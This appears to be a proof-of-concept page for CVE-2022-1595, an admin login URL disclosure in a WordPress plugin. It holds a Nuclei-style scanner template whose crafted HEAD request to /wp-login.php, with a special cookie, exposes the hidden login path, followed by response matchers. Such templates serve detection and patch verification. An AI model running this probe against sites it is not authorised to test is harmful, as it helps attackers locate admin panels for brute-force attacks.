CVE-2022-1595: WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure

2025-08-01 WordPress HC Custom WP-Admin URL PoC Public

Description

The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request

PoC

id: CVE-2022-1595

info:
  name: WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure
  author: theamanrawat,oleveloper
  severity: medium
  description: |
    The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request
  impact: |
    Attackers can obtain the secret custom admin login URL by sending crafted requests with specific cookies, potentially facilitating brute force attacks against the admin panel.
  remediation: |
    Update to the latest version of WordPress HC Custom WP-Admin URL plugin (>=1.5) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0218c90c-8f79-4f37-9a6f-60cf2f47d47b
    - https://wordpress.org/plugins/hc-custom-wp-admin-url/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1595
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-1595
    cwe-id: CWE-200
    epss-score: 0.02903
    epss-percentile: 0.86267
    cpe: cpe:2.3:a:hc_custom_wp-admin_url_project:hc_custom_wp-admin_url:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
  tags: cve,cve2022,unauth,wpscan,wordpress,wp-plugin,wp,hc-custom-wp-admin-url,vuln

http:
  - raw:
      - |
        HEAD /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: valid_login_slug=1

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "(?i)Set-Cookie:.*wordpress_logged_in_"

      - type: regex
        part: header
        regex:
          - "(?i)Location:.*(/wp-admin/|/[^/]+/wp-login\\.php)"

      - type: status
        status:
          - 302
# digest: 490a0046304402202578037bf0e92bbdd7f32712aeb2ff114a8472ff38b5f29377672ae554a4215602206461c97c034fc41334e6de41b87ef65d856b1539d01e2f4ec55fdf9e823e31fb:922c64590222798bb761d5b6d8e72950

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